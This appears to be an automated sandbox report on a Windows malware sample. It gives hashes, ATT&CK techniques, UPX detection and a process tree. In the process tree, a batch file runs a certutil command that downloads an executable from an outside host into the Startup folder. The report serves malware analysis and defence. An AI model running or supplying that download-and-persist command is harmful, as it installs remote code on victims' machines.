c7ee4281e2017e08f5e2b3c7a4e82a872f0b5eed1ce6f522b14aa9f8e1112155

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
30/03/2025, 16:10

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General

Target
SecuriteInfo.com.FileRepMalware.24084.17571.exe
Size 672KB
Sample250330-tmp12sstaz
SHA256 c7ee4281e2017e08f5e2b3c7a4e82a872f0b5eed1ce6f522b14aa9f8e1112155
MD5 307b2ab3ca094b94f1a34ef375c8fc30
SHA1 e041ecf2b3466ace266a89ac71155806a42156ae
SHA512 3b9c18e9e2fc461fc4c92b15f2a1c702c41f4a921cb1c31a71aaab1c54eae5c0b88a9aad6bec0a84e20305d58dba8a21894bdf2289ac864d43d8444d32cffd09
SSDEEP 12288:eoh13dewAkpToxgPjMUS9SJl0mYnagLvMdsK2xd6TD366qCs/4AJ5BoIM5QDB7bV:eo/3RI84xHmYamzKF366qCs/4uBeg
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

discovery upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	SecuriteInfo.com.FileRepMalware.24084.17571.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1640-0-0x0000000000400000-0x00000000004BA000-memory.dmp	upx
behavioral2/memory/1640-5-0x0000000000400000-0x00000000004BA000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecuriteInfo.com.FileRepMalware.24084.17571.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 1468	1640	SecuriteInfo.com.FileRepMalware.24084.17571.exe	86
PID 1640 wrote to memory of 1468	1640	SecuriteInfo.com.FileRepMalware.24084.17571.exe	86
PID 1468 wrote to memory of 1516	1468	cmd.exe	90
PID 1468 wrote to memory of 1516	1468	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.FileRepMalware.24084.17571.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.FileRepMalware.24084.17571.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\614A.tmp\614B.tmp\614C.bat C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.FileRepMalware.24084.17571.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f https://cdn-hsyq-dynamic-file.shanhutech.cn/home/bird/birdpaper_home.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1000.exe"
    3⤵
    PID:1516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

614C.bat

Path C:\Users\Admin\AppData\Local\Temp\614A.tmp\614B.tmp\614C.bat
Size 1KB
SHA256 410ae2e5f22cd9dd9d9ed4b953d37ab55e022c27d0b2bec8523defce425b9de9
MD5 e5a191ad379468540c85e1c2aeacffcf
SHA1 0591427ed7f13a7923f628e15ee80ca0af3d99ed
SHA512 ccd75356b736e4dd09aa5979a86b026af4010574ef87d4f1027e07893e896b60789a18b532d2150d1749ba6e93d9dc21fac97c084c9cce2776c3de4444784e65
MD5 SHA1 SHA512

Submit Download

memory/1640-0-0x0000000000400000-0x00000000004BA000-memory.dmp

Download

memory/1640-5-0x0000000000400000-0x00000000004BA000-memory.dmp